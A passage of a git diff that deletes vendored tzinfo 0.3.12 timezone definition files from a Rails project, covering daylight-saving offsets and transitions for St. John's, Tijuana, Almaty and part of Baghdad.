-          tz.transition 2028, 2, :o1, 1834624800
-          tz.transition 2028, 10, :o2, 1855191600
-          tz.transition 2029, 2, :o1, 1866074400
-          tz.transition 2029, 10, :o2, 1887246000
-          tz.transition 2030, 2, :o1, 1897524000
-          tz.transition 2030, 10, :o2, 1918695600
-          tz.transition 2031, 2, :o1, 1928973600
-          tz.transition 2031, 10, :o2, 1950145200
-          tz.transition 2032, 2, :o1, 1960423200
-          tz.transition 2032, 10, :o2, 1981594800
-          tz.transition 2033, 2, :o1, 1992477600
-          tz.transition 2033, 10, :o2, 2013044400
-          tz.transition 2034, 2, :o1, 2024532000
-          tz.transition 2034, 10, :o2, 2044494000
-          tz.transition 2035, 2, :o1, 2055376800
-          tz.transition 2035, 10, :o2, 2076548400
-          tz.transition 2036, 2, :o1, 2086826400
-          tz.transition 2036, 10, :o2, 2107998000
-          tz.transition 2037, 2, :o1, 2118880800
-          tz.transition 2037, 10, :o2, 2139447600
-          tz.transition 2038, 2, :o1, 29585707, 12
-          tz.transition 2038, 10, :o2, 19725709, 8
-          tz.transition 2039, 2, :o1, 29590075, 12
-          tz.transition 2039, 10, :o2, 19728621, 8
-          tz.transition 2040, 2, :o1, 29594443, 12
-          tz.transition 2040, 10, :o2, 19731589, 8
-          tz.transition 2041, 2, :o1, 29598811, 12
-          tz.transition 2041, 10, :o2, 19734501, 8
-          tz.transition 2042, 2, :o1, 29603179, 12
-          tz.transition 2042, 10, :o2, 19737413, 8
-          tz.transition 2043, 2, :o1, 29607547, 12
-          tz.transition 2043, 10, :o2, 19740325, 8
-          tz.transition 2044, 2, :o1, 29611999, 12
-          tz.transition 2044, 10, :o2, 19743237, 8
-          tz.transition 2045, 2, :o1, 29616367, 12
-          tz.transition 2045, 10, :o2, 19746149, 8
-          tz.transition 2046, 2, :o1, 29620735, 12
-          tz.transition 2046, 10, :o2, 19749117, 8
-          tz.transition 2047, 2, :o1, 29625103, 12
-          tz.transition 2047, 10, :o2, 19752029, 8
-          tz.transition 2048, 2, :o1, 29629471, 12
-          tz.transition 2048, 10, :o2, 19754941, 8
-          tz.transition 2049, 2, :o1, 29633923, 12
-          tz.transition 2049, 10, :o2, 19757853, 8
-          tz.transition 2050, 2, :o1, 29638291, 12
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/St_Johns.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/St_Johns.rb
deleted file mode 100644
index e4a3599d..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/St_Johns.rb
+++ /dev/null
@@ -1,288 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module America
-      module St_Johns
-        include TimezoneDefinition
-        
-        timezone 'America/St_Johns' do |tz|
-          tz.offset :o0, -12652, 0, :LMT
-          tz.offset :o1, -12652, 0, :NST
-          tz.offset :o2, -12652, 3600, :NDT
-          tz.offset :o3, -12600, 0, :NST
-          tz.offset :o4, -12600, 3600, :NDT
-          tz.offset :o5, -12600, 3600, :NWT
-          tz.offset :o6, -12600, 3600, :NPT
-          tz.offset :o7, -12600, 7200, :NDDT
-          
-          tz.transition 1884, 1, :o1, 52038215563, 21600
-          tz.transition 1917, 4, :o2, 52300657363, 21600
-          tz.transition 1917, 9, :o1, 52304155663, 21600
-          tz.transition 1918, 4, :o2, 52308670963, 21600
-          tz.transition 1918, 10, :o1, 52312990063, 21600
-          tz.transition 1919, 5, :o2, 52317027463, 21600
-          tz.transition 1919, 8, :o1, 52319164963, 21600
-          tz.transition 1920, 5, :o2, 52324868263, 21600
-          tz.transition 1920, 11, :o1, 52328798563, 21600
-          tz.transition 1921, 5, :o2, 52332730663, 21600
-          tz.transition 1921, 10, :o1, 52336660963, 21600
-          tz.transition 1922, 5, :o2, 52340744263, 21600
-          tz.transition 1922, 10, :o1, 52344523363, 21600
-          tz.transition 1923, 5, :o2, 52348606663, 21600
-          tz.transition 1923, 10, :o1, 52352385763, 21600
-          tz.transition 1924, 5, :o2, 52356469063, 21600
-          tz.transition 1924, 10, :o1, 52360248163, 21600
-          tz.transition 1925, 5, :o2, 52364331463, 21600
-          tz.transition 1925, 10, :o1, 52368110563, 21600
-          tz.transition 1926, 5, :o2, 52372193863, 21600
-          tz.transition 1926, 11, :o1, 52376124163, 21600
-          tz.transition 1927, 5, :o2, 52380056263, 21600
-          tz.transition 1927, 10, :o1, 52383986563, 21600
-          tz.transition 1928, 5, :o2, 52388069863, 21600
-          tz.transition 1928, 10, :o1, 52391848963, 21600
-          tz.transition 1929, 5, :o2, 52395932263, 21600
-          tz.transition 1929, 10, :o1, 52399711363, 21600
-          tz.transition 1930, 5, :o2, 52403794663, 21600
-          tz.transition 1930, 10, :o1, 52407573763, 21600
-          tz.transition 1931, 5, :o2, 52411657063, 21600
-          tz.transition 1931, 10, :o1, 52415436163, 21600
-          tz.transition 1932, 5, :o2, 52419519463, 21600
-          tz.transition 1932, 10, :o1, 52423449763, 21600
-          tz.transition 1933, 5, :o2, 52427533063, 21600
-          tz.transition 1933, 10, :o1, 52431312163, 21600
-          tz.transition 1934, 5, :o2, 52435395463, 21600
-          tz.transition 1934, 10, :o1, 52439174563, 21600
-          tz.transition 1935, 3, :o3, 52442459563, 21600
-          tz.transition 1935, 5, :o4, 116540573, 48
-          tz.transition 1935, 10, :o3, 38849657, 16
-          tz.transition 1936, 5, :o4, 116558383, 48
-          tz.transition 1936, 10, :o3, 116565437, 48
-          tz.transition 1937, 5, :o4, 116575855, 48
-          tz.transition 1937, 10, :o3, 116582909, 48
-          tz.transition 1938, 5, :o4, 116593327, 48
-          tz.transition 1938, 10, :o3, 116600381, 48
-          tz.transition 1939, 5, :o4, 116611135, 48
-          tz.transition 1939, 10, :o3, 116617853, 48
-          tz.transition 1940, 5, :o4, 116628607, 48
-          tz.transition 1940, 10, :o3, 116635661, 48
-          tz.transition 1941, 5, :o4, 116646079, 48
-          tz.transition 1941, 10, :o3, 116653133, 48
-          tz.transition 1942, 5, :o5, 116663551, 48
-          tz.transition 1945, 8, :o6, 58360379, 24
-          tz.transition 1945, 9, :o3, 38907659, 16
-          tz.transition 1946, 5, :o4, 116733731, 48
-          tz.transition 1946, 10, :o3, 38913595, 16
-          tz.transition 1947, 5, :o4, 116751203, 48
-          tz.transition 1947, 10, :o3, 38919419, 16
-          tz.transition 1948, 5, :o4, 116768675, 48
-          tz.transition 1948, 10, :o3, 38925243, 16
-          tz.transition 1949, 5, :o4, 116786147, 48
-          tz.transition 1949, 10, :o3, 38931067, 16
-          tz.transition 1950, 5, :o4, 116803955, 48
-          tz.transition 1950, 10, :o3, 38937003, 16
-          tz.transition 1951, 4, :o4, 116820755, 48
-          tz.transition 1951, 9, :o3, 38942715, 16
-          tz.transition 1952, 4, :o4, 116838227, 48
-          tz.transition 1952, 9, :o3, 38948539, 16
-          tz.transition 1953, 4, :o4, 116855699, 48
-          tz.transition 1953, 9, :o3, 38954363, 16
-          tz.transition 1954, 4, :o4, 116873171, 48
-          tz.transition 1954, 9, :o3, 38960187, 16
-          tz.transition 1955, 4, :o4, 116890643, 48
-          tz.transition 1955, 9, :o3, 38966011, 16
-          tz.transition 1956, 4, :o4, 116908451, 48
-          tz.transition 1956, 9, :o3, 38971947, 16
-          tz.transition 1957, 4, :o4, 116925923, 48
-          tz.transition 1957, 9, :o3, 38977771, 16
-          tz.transition 1958, 4, :o4, 116943395, 48
-          tz.transition 1958, 9, :o3, 38983595, 16
-          tz.transition 1959, 4, :o4, 116960867, 48
-          tz.transition 1959, 9, :o3, 38989419, 16
-          tz.transition 1960, 4, :o4, 116978339, 48
-          tz.transition 1960, 10, :o3, 38995803, 16
-          tz.transition 1961, 4, :o4, 116996147, 48
-          tz.transition 1961, 10, :o3, 39001627, 16
-          tz.transition 1962, 4, :o4, 117013619, 48
-          tz.transition 1962, 10, :o3, 39007451, 16
-          tz.transition 1963, 4, :o4, 117031091, 48
-          tz.transition 1963, 10, :o3, 39013275, 16
-          tz.transition 1964, 4, :o4, 117048563, 48
-          tz.transition 1964, 10, :o3, 39019099, 16
-          tz.transition 1965, 4, :o4, 117066035, 48
-          tz.transition 1965, 10, :o3, 39025035, 16
-          tz.transition 1966, 4, :o4, 117083507, 48
-          tz.transition 1966, 10, :o3, 39030859, 16
-          tz.transition 1967, 4, :o4, 117101315, 48
-          tz.transition 1967, 10, :o3, 39036683, 16
-          tz.transition 1968, 4, :o4, 117118787, 48
-          tz.transition 1968, 10, :o3, 39042507, 16
-          tz.transition 1969, 4, :o4, 117136259, 48
-          tz.transition 1969, 10, :o3, 39048331, 16
-          tz.transition 1970, 4, :o4, 9955800
-          tz.transition 1970, 10, :o3, 25677000
-          tz.transition 1971, 4, :o4, 41405400
-          tz.transition 1971, 10, :o3, 57731400
-          tz.transition 1972, 4, :o4, 73459800
-          tz.transition 1972, 10, :o3, 89181000
-          tz.transition 1973, 4, :o4, 104909400
-          tz.transition 1973, 10, :o3, 120630600
-          tz.transition 1974, 4, :o4, 136359000
-          tz.transition 1974, 10, :o3, 152080200
-          tz.transition 1975, 4, :o4, 167808600
-          tz.transition 1975, 10, :o3, 183529800
-          tz.transition 1976, 4, :o4, 199258200
-          tz.transition 1976, 10, :o3, 215584200
-          tz.transition 1977, 4, :o4, 230707800
-          tz.transition 1977, 10, :o3, 247033800
-          tz.transition 1978, 4, :o4, 262762200
-          tz.transition 1978, 10, :o3, 278483400
-          tz.transition 1979, 4, :o4, 294211800
-          tz.transition 1979, 10, :o3, 309933000
-          tz.transition 1980, 4, :o4, 325661400
-          tz.transition 1980, 10, :o3, 341382600
-          tz.transition 1981, 4, :o4, 357111000
-          tz.transition 1981, 10, :o3, 372832200
-          tz.transition 1982, 4, :o4, 388560600
-          tz.transition 1982, 10, :o3, 404886600
-          tz.transition 1983, 4, :o4, 420010200
-          tz.transition 1983, 10, :o3, 436336200
-          tz.transition 1984, 4, :o4, 452064600
-          tz.transition 1984, 10, :o3, 467785800
-          tz.transition 1985, 4, :o4, 483514200
-          tz.transition 1985, 10, :o3, 499235400
-          tz.transition 1986, 4, :o4, 514963800
-          tz.transition 1986, 10, :o3, 530685000
-          tz.transition 1987, 4, :o4, 544591860
-          tz.transition 1987, 10, :o3, 562127460
-          tz.transition 1988, 4, :o7, 576041460
-          tz.transition 1988, 10, :o3, 594178260
-          tz.transition 1989, 4, :o4, 607491060
-          tz.transition 1989, 10, :o3, 625631460
-          tz.transition 1990, 4, :o4, 638940660
-          tz.transition 1990, 10, :o3, 657081060
-          tz.transition 1991, 4, :o4, 670995060
-          tz.transition 1991, 10, :o3, 688530660
-          tz.transition 1992, 4, :o4, 702444660
-          tz.transition 1992, 10, :o3, 719980260
-          tz.transition 1993, 4, :o4, 733894260
-          tz.transition 1993, 10, :o3, 752034660
-          tz.transition 1994, 4, :o4, 765343860
-          tz.transition 1994, 10, :o3, 783484260
-          tz.transition 1995, 4, :o4, 796793460
-          tz.transition 1995, 10, :o3, 814933860
-          tz.transition 1996, 4, :o4, 828847860
-          tz.transition 1996, 10, :o3, 846383460
-          tz.transition 1997, 4, :o4, 860297460
-          tz.transition 1997, 10, :o3, 877833060
-          tz.transition 1998, 4, :o4, 891747060
-          tz.transition 1998, 10, :o3, 909282660
-          tz.transition 1999, 4, :o4, 923196660
-          tz.transition 1999, 10, :o3, 941337060
-          tz.transition 2000, 4, :o4, 954646260
-          tz.transition 2000, 10, :o3, 972786660
-          tz.transition 2001, 4, :o4, 986095860
-          tz.transition 2001, 10, :o3, 1004236260
-          tz.transition 2002, 4, :o4, 1018150260
-          tz.transition 2002, 10, :o3, 1035685860
-          tz.transition 2003, 4, :o4, 1049599860
-          tz.transition 2003, 10, :o3, 1067135460
-          tz.transition 2004, 4, :o4, 1081049460
-          tz.transition 2004, 10, :o3, 1099189860
-          tz.transition 2005, 4, :o4, 1112499060
-          tz.transition 2005, 10, :o3, 1130639460
-          tz.transition 2006, 4, :o4, 1143948660
-          tz.transition 2006, 10, :o3, 1162089060
-          tz.transition 2007, 3, :o4, 1173583860
-          tz.transition 2007, 11, :o3, 1194143460
-          tz.transition 2008, 3, :o4, 1205033460
-          tz.transition 2008, 11, :o3, 1225593060
-          tz.transition 2009, 3, :o4, 1236483060
-          tz.transition 2009, 11, :o3, 1257042660
-          tz.transition 2010, 3, :o4, 1268537460
-          tz.transition 2010, 11, :o3, 1289097060
-          tz.transition 2011, 3, :o4, 1299987060
-          tz.transition 2011, 11, :o3, 1320546660
-          tz.transition 2012, 3, :o4, 1331436660
-          tz.transition 2012, 11, :o3, 1351996260
-          tz.transition 2013, 3, :o4, 1362886260
-          tz.transition 2013, 11, :o3, 1383445860
-          tz.transition 2014, 3, :o4, 1394335860
-          tz.transition 2014, 11, :o3, 1414895460
-          tz.transition 2015, 3, :o4, 1425785460
-          tz.transition 2015, 11, :o3, 1446345060
-          tz.transition 2016, 3, :o4, 1457839860
-          tz.transition 2016, 11, :o3, 1478399460
-          tz.transition 2017, 3, :o4, 1489289460
-          tz.transition 2017, 11, :o3, 1509849060
-          tz.transition 2018, 3, :o4, 1520739060
-          tz.transition 2018, 11, :o3, 1541298660
-          tz.transition 2019, 3, :o4, 1552188660
-          tz.transition 2019, 11, :o3, 1572748260
-          tz.transition 2020, 3, :o4, 1583638260
-          tz.transition 2020, 11, :o3, 1604197860
-          tz.transition 2021, 3, :o4, 1615692660
-          tz.transition 2021, 11, :o3, 1636252260
-          tz.transition 2022, 3, :o4, 1647142260
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-          tz.transition 2023, 3, :o4, 1678591860
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-          tz.transition 2024, 11, :o3, 1730601060
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-          tz.transition 2025, 11, :o3, 1762050660
-          tz.transition 2026, 3, :o4, 1772940660
-          tz.transition 2026, 11, :o3, 1793500260
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-          tz.transition 2029, 11, :o3, 1888453860
-          tz.transition 2030, 3, :o4, 1899343860
-          tz.transition 2030, 11, :o3, 1919903460
-          tz.transition 2031, 3, :o4, 1930793460
-          tz.transition 2031, 11, :o3, 1951353060
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-          tz.transition 2039, 3, :o4, 3550839331, 1440
-          tz.transition 2039, 11, :o3, 3551181991, 1440
-          tz.transition 2040, 3, :o4, 3551363491, 1440
-          tz.transition 2040, 11, :o3, 3551706151, 1440
-          tz.transition 2041, 3, :o4, 3551887651, 1440
-          tz.transition 2041, 11, :o3, 3552230311, 1440
-          tz.transition 2042, 3, :o4, 3552411811, 1440
-          tz.transition 2042, 11, :o3, 3552754471, 1440
-          tz.transition 2043, 3, :o4, 3552935971, 1440
-          tz.transition 2043, 11, :o3, 3553278631, 1440
-          tz.transition 2044, 3, :o4, 3553470211, 1440
-          tz.transition 2044, 11, :o3, 3553812871, 1440
-          tz.transition 2045, 3, :o4, 3553994371, 1440
-          tz.transition 2045, 11, :o3, 3554337031, 1440
-          tz.transition 2046, 3, :o4, 3554518531, 1440
-          tz.transition 2046, 11, :o3, 3554861191, 1440
-          tz.transition 2047, 3, :o4, 3555042691, 1440
-          tz.transition 2047, 11, :o3, 3555385351, 1440
-          tz.transition 2048, 3, :o4, 3555566851, 1440
-          tz.transition 2048, 11, :o3, 3555909511, 1440
-          tz.transition 2049, 3, :o4, 3556101091, 1440
-          tz.transition 2049, 11, :o3, 3556443751, 1440
-          tz.transition 2050, 3, :o4, 3556625251, 1440
-          tz.transition 2050, 11, :o3, 3556967911, 1440
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Tijuana.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Tijuana.rb
deleted file mode 100644
index 423059da..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Tijuana.rb
+++ /dev/null
@@ -1,196 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module America
-      module Tijuana
-        include TimezoneDefinition
-        
-        timezone 'America/Tijuana' do |tz|
-          tz.offset :o0, -28084, 0, :LMT
-          tz.offset :o1, -25200, 0, :MST
-          tz.offset :o2, -28800, 0, :PST
-          tz.offset :o3, -28800, 3600, :PDT
-          tz.offset :o4, -28800, 3600, :PWT
-          tz.offset :o5, -28800, 3600, :PPT
-          
-          tz.transition 1922, 1, :o1, 14538335, 6
-          tz.transition 1924, 1, :o2, 58170859, 24
-          tz.transition 1927, 6, :o1, 58201027, 24
-          tz.transition 1930, 11, :o2, 58231099, 24
-          tz.transition 1931, 4, :o3, 14558597, 6
-          tz.transition 1931, 9, :o2, 58238755, 24
-          tz.transition 1942, 4, :o4, 14582843, 6
-          tz.transition 1945, 8, :o5, 58360379, 24
-          tz.transition 1945, 11, :o2, 58362523, 24
-          tz.transition 1948, 4, :o3, 14595881, 6
-          tz.transition 1949, 1, :o2, 58390339, 24
-          tz.transition 1954, 4, :o3, 29218295, 12
-          tz.transition 1954, 9, :o2, 19480095, 8
-          tz.transition 1955, 4, :o3, 29222663, 12
-          tz.transition 1955, 9, :o2, 19483007, 8
-          tz.transition 1956, 4, :o3, 29227115, 12
-          tz.transition 1956, 9, :o2, 19485975, 8
-          tz.transition 1957, 4, :o3, 29231483, 12
-          tz.transition 1957, 9, :o2, 19488887, 8
-          tz.transition 1958, 4, :o3, 29235851, 12
-          tz.transition 1958, 9, :o2, 19491799, 8
-          tz.transition 1959, 4, :o3, 29240219, 12
-          tz.transition 1959, 9, :o2, 19494711, 8
-          tz.transition 1960, 4, :o3, 29244587, 12
-          tz.transition 1960, 9, :o2, 19497623, 8
-          tz.transition 1976, 4, :o3, 199274400
-          tz.transition 1976, 10, :o2, 215600400
-          tz.transition 1977, 4, :o3, 230724000
-          tz.transition 1977, 10, :o2, 247050000
-          tz.transition 1978, 4, :o3, 262778400
-          tz.transition 1978, 10, :o2, 278499600
-          tz.transition 1979, 4, :o3, 294228000
-          tz.transition 1979, 10, :o2, 309949200
-          tz.transition 1980, 4, :o3, 325677600
-          tz.transition 1980, 10, :o2, 341398800
-          tz.transition 1981, 4, :o3, 357127200
-          tz.transition 1981, 10, :o2, 372848400
-          tz.transition 1982, 4, :o3, 388576800
-          tz.transition 1982, 10, :o2, 404902800
-          tz.transition 1983, 4, :o3, 420026400
-          tz.transition 1983, 10, :o2, 436352400
-          tz.transition 1984, 4, :o3, 452080800
-          tz.transition 1984, 10, :o2, 467802000
-          tz.transition 1985, 4, :o3, 483530400
-          tz.transition 1985, 10, :o2, 499251600
-          tz.transition 1986, 4, :o3, 514980000
-          tz.transition 1986, 10, :o2, 530701200
-          tz.transition 1987, 4, :o3, 544615200
-          tz.transition 1987, 10, :o2, 562150800
-          tz.transition 1988, 4, :o3, 576064800
-          tz.transition 1988, 10, :o2, 594205200
-          tz.transition 1989, 4, :o3, 607514400
-          tz.transition 1989, 10, :o2, 625654800
-          tz.transition 1990, 4, :o3, 638964000
-          tz.transition 1990, 10, :o2, 657104400
-          tz.transition 1991, 4, :o3, 671018400
-          tz.transition 1991, 10, :o2, 688554000
-          tz.transition 1992, 4, :o3, 702468000
-          tz.transition 1992, 10, :o2, 720003600
-          tz.transition 1993, 4, :o3, 733917600
-          tz.transition 1993, 10, :o2, 752058000
-          tz.transition 1994, 4, :o3, 765367200
-          tz.transition 1994, 10, :o2, 783507600
-          tz.transition 1995, 4, :o3, 796816800
-          tz.transition 1995, 10, :o2, 814957200
-          tz.transition 1996, 4, :o3, 828871200
-          tz.transition 1996, 10, :o2, 846406800
-          tz.transition 1997, 4, :o3, 860320800
-          tz.transition 1997, 10, :o2, 877856400
-          tz.transition 1998, 4, :o3, 891770400
-          tz.transition 1998, 10, :o2, 909306000
-          tz.transition 1999, 4, :o3, 923220000
-          tz.transition 1999, 10, :o2, 941360400
-          tz.transition 2000, 4, :o3, 954669600
-          tz.transition 2000, 10, :o2, 972810000
-          tz.transition 2001, 4, :o3, 986119200
-          tz.transition 2001, 10, :o2, 1004259600
-          tz.transition 2002, 4, :o3, 1018173600
-          tz.transition 2002, 10, :o2, 1035709200
-          tz.transition 2003, 4, :o3, 1049623200
-          tz.transition 2003, 10, :o2, 1067158800
-          tz.transition 2004, 4, :o3, 1081072800
-          tz.transition 2004, 10, :o2, 1099213200
-          tz.transition 2005, 4, :o3, 1112522400
-          tz.transition 2005, 10, :o2, 1130662800
-          tz.transition 2006, 4, :o3, 1143972000
-          tz.transition 2006, 10, :o2, 1162112400
-          tz.transition 2007, 4, :o3, 1175421600
-          tz.transition 2007, 10, :o2, 1193562000
-          tz.transition 2008, 4, :o3, 1207476000
-          tz.transition 2008, 10, :o2, 1225011600
-          tz.transition 2009, 4, :o3, 1238925600
-          tz.transition 2009, 10, :o2, 1256461200
-          tz.transition 2010, 4, :o3, 1270375200
-          tz.transition 2010, 10, :o2, 1288515600
-          tz.transition 2011, 4, :o3, 1301824800
-          tz.transition 2011, 10, :o2, 1319965200
-          tz.transition 2012, 4, :o3, 1333274400
-          tz.transition 2012, 10, :o2, 1351414800
-          tz.transition 2013, 4, :o3, 1365328800
-          tz.transition 2013, 10, :o2, 1382864400
-          tz.transition 2014, 4, :o3, 1396778400
-          tz.transition 2014, 10, :o2, 1414314000
-          tz.transition 2015, 4, :o3, 1428228000
-          tz.transition 2015, 10, :o2, 1445763600
-          tz.transition 2016, 4, :o3, 1459677600
-          tz.transition 2016, 10, :o2, 1477818000
-          tz.transition 2017, 4, :o3, 1491127200
-          tz.transition 2017, 10, :o2, 1509267600
-          tz.transition 2018, 4, :o3, 1522576800
-          tz.transition 2018, 10, :o2, 1540717200
-          tz.transition 2019, 4, :o3, 1554631200
-          tz.transition 2019, 10, :o2, 1572166800
-          tz.transition 2020, 4, :o3, 1586080800
-          tz.transition 2020, 10, :o2, 1603616400
-          tz.transition 2021, 4, :o3, 1617530400
-          tz.transition 2021, 10, :o2, 1635670800
-          tz.transition 2022, 4, :o3, 1648980000
-          tz.transition 2022, 10, :o2, 1667120400
-          tz.transition 2023, 4, :o3, 1680429600
-          tz.transition 2023, 10, :o2, 1698570000
-          tz.transition 2024, 4, :o3, 1712484000
-          tz.transition 2024, 10, :o2, 1730019600
-          tz.transition 2025, 4, :o3, 1743933600
-          tz.transition 2025, 10, :o2, 1761469200
-          tz.transition 2026, 4, :o3, 1775383200
-          tz.transition 2026, 10, :o2, 1792918800
-          tz.transition 2027, 4, :o3, 1806832800
-          tz.transition 2027, 10, :o2, 1824973200
-          tz.transition 2028, 4, :o3, 1838282400
-          tz.transition 2028, 10, :o2, 1856422800
-          tz.transition 2029, 4, :o3, 1869732000
-          tz.transition 2029, 10, :o2, 1887872400
-          tz.transition 2030, 4, :o3, 1901786400
-          tz.transition 2030, 10, :o2, 1919322000
-          tz.transition 2031, 4, :o3, 1933236000
-          tz.transition 2031, 10, :o2, 1950771600
-          tz.transition 2032, 4, :o3, 1964685600
-          tz.transition 2032, 10, :o2, 1982826000
-          tz.transition 2033, 4, :o3, 1996135200
-          tz.transition 2033, 10, :o2, 2014275600
-          tz.transition 2034, 4, :o3, 2027584800
-          tz.transition 2034, 10, :o2, 2045725200
-          tz.transition 2035, 4, :o3, 2059034400
-          tz.transition 2035, 10, :o2, 2077174800
-          tz.transition 2036, 4, :o3, 2091088800
-          tz.transition 2036, 10, :o2, 2108624400
-          tz.transition 2037, 4, :o3, 2122538400
-          tz.transition 2037, 10, :o2, 2140074000
-          tz.transition 2038, 4, :o3, 29586215, 12
-          tz.transition 2038, 10, :o2, 19725823, 8
-          tz.transition 2039, 4, :o3, 29590583, 12
-          tz.transition 2039, 10, :o2, 19728735, 8
-          tz.transition 2040, 4, :o3, 29594951, 12
-          tz.transition 2040, 10, :o2, 19731647, 8
-          tz.transition 2041, 4, :o3, 29599403, 12
-          tz.transition 2041, 10, :o2, 19734559, 8
-          tz.transition 2042, 4, :o3, 29603771, 12
-          tz.transition 2042, 10, :o2, 19737471, 8
-          tz.transition 2043, 4, :o3, 29608139, 12
-          tz.transition 2043, 10, :o2, 19740383, 8
-          tz.transition 2044, 4, :o3, 29612507, 12
-          tz.transition 2044, 10, :o2, 19743351, 8
-          tz.transition 2045, 4, :o3, 29616875, 12
-          tz.transition 2045, 10, :o2, 19746263, 8
-          tz.transition 2046, 4, :o3, 29621243, 12
-          tz.transition 2046, 10, :o2, 19749175, 8
-          tz.transition 2047, 4, :o3, 29625695, 12
-          tz.transition 2047, 10, :o2, 19752087, 8
-          tz.transition 2048, 4, :o3, 29630063, 12
-          tz.transition 2048, 10, :o2, 19754999, 8
-          tz.transition 2049, 4, :o3, 29634431, 12
-          tz.transition 2049, 10, :o2, 19757967, 8
-          tz.transition 2050, 4, :o3, 29638799, 12
-          tz.transition 2050, 10, :o2, 19760879, 8
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Almaty.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Almaty.rb
deleted file mode 100644
index 9ee18970..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Almaty.rb
+++ /dev/null
@@ -1,67 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Almaty
-        include TimezoneDefinition
-        
-        timezone 'Asia/Almaty' do |tz|
-          tz.offset :o0, 18468, 0, :LMT
-          tz.offset :o1, 18000, 0, :ALMT
-          tz.offset :o2, 21600, 0, :ALMT
-          tz.offset :o3, 21600, 3600, :ALMST
-          
-          tz.transition 1924, 5, :o1, 1939125829, 800
-          tz.transition 1930, 6, :o2, 58227559, 24
-          tz.transition 1981, 3, :o3, 354909600
-          tz.transition 1981, 9, :o2, 370717200
-          tz.transition 1982, 3, :o3, 386445600
-          tz.transition 1982, 9, :o2, 402253200
-          tz.transition 1983, 3, :o3, 417981600
-          tz.transition 1983, 9, :o2, 433789200
-          tz.transition 1984, 3, :o3, 449604000
-          tz.transition 1984, 9, :o2, 465336000
-          tz.transition 1985, 3, :o3, 481060800
-          tz.transition 1985, 9, :o2, 496785600
-          tz.transition 1986, 3, :o3, 512510400
-          tz.transition 1986, 9, :o2, 528235200
-          tz.transition 1987, 3, :o3, 543960000
-          tz.transition 1987, 9, :o2, 559684800
-          tz.transition 1988, 3, :o3, 575409600
-          tz.transition 1988, 9, :o2, 591134400
-          tz.transition 1989, 3, :o3, 606859200
-          tz.transition 1989, 9, :o2, 622584000
-          tz.transition 1990, 3, :o3, 638308800
-          tz.transition 1990, 9, :o2, 654638400
-          tz.transition 1992, 3, :o3, 701802000
-          tz.transition 1992, 9, :o2, 717523200
-          tz.transition 1993, 3, :o3, 733262400
-          tz.transition 1993, 9, :o2, 748987200
-          tz.transition 1994, 3, :o3, 764712000
-          tz.transition 1994, 9, :o2, 780436800
-          tz.transition 1995, 3, :o3, 796161600
-          tz.transition 1995, 9, :o2, 811886400
-          tz.transition 1996, 3, :o3, 828216000
-          tz.transition 1996, 10, :o2, 846360000
-          tz.transition 1997, 3, :o3, 859665600
-          tz.transition 1997, 10, :o2, 877809600
-          tz.transition 1998, 3, :o3, 891115200
-          tz.transition 1998, 10, :o2, 909259200
-          tz.transition 1999, 3, :o3, 922564800
-          tz.transition 1999, 10, :o2, 941313600
-          tz.transition 2000, 3, :o3, 954014400
-          tz.transition 2000, 10, :o2, 972763200
-          tz.transition 2001, 3, :o3, 985464000
-          tz.transition 2001, 10, :o2, 1004212800
-          tz.transition 2002, 3, :o3, 1017518400
-          tz.transition 2002, 10, :o2, 1035662400
-          tz.transition 2003, 3, :o3, 1048968000
-          tz.transition 2003, 10, :o2, 1067112000
-          tz.transition 2004, 3, :o3, 1080417600
-          tz.transition 2004, 10, :o2, 1099166400
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Baghdad.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Baghdad.rb
deleted file mode 100644
index 774dca15..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Baghdad.rb
+++ /dev/null
@@ -1,73 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Baghdad
-        include TimezoneDefinition
-        
-        timezone 'Asia/Baghdad' do |tz|
-          tz.offset :o0, 10660, 0, :LMT
-          tz.offset :o1, 10656, 0, :BMT
-          tz.offset :o2, 10800, 0, :AST
-          tz.offset :o3, 10800, 3600, :ADT
-          
-          tz.transition 1889, 12, :o1, 10417111387, 4320
-          tz.transition 1917, 12, :o2, 726478313, 300
-          tz.transition 1982, 4, :o3, 389048400
-          tz.transition 1982, 9, :o2, 402264000
-          tz.transition 1983, 3, :o3, 417906000
-          tz.transition 1983, 9, :o2, 433800000
-          tz.transition 1984, 3, :o3, 449614800
-          tz.transition 1984, 9, :o2, 465422400
-          tz.transition 1985, 3, :o3, 481150800
-          tz.transition 1985, 9, :o2, 496792800
-          tz.transition 1986, 3, :o3, 512517600
-          tz.transition 1986, 9, :o2, 528242400
-          tz.transition 1987, 3, :o3, 543967200
-          tz.transition 1987, 9, :o2, 559692000
-          tz.transition 1988, 3, :o3, 575416800
-          tz.transition 1988, 9, :o2, 591141600
-          tz.transition 1989, 3, :o3, 606866400
-          tz.transition 1989, 9, :o2, 622591200
-          tz.transition 1990, 3, :o3, 638316000
-          tz.transition 1990, 9, :o2, 654645600
-          tz.transition 1991, 4, :o3, 670464000
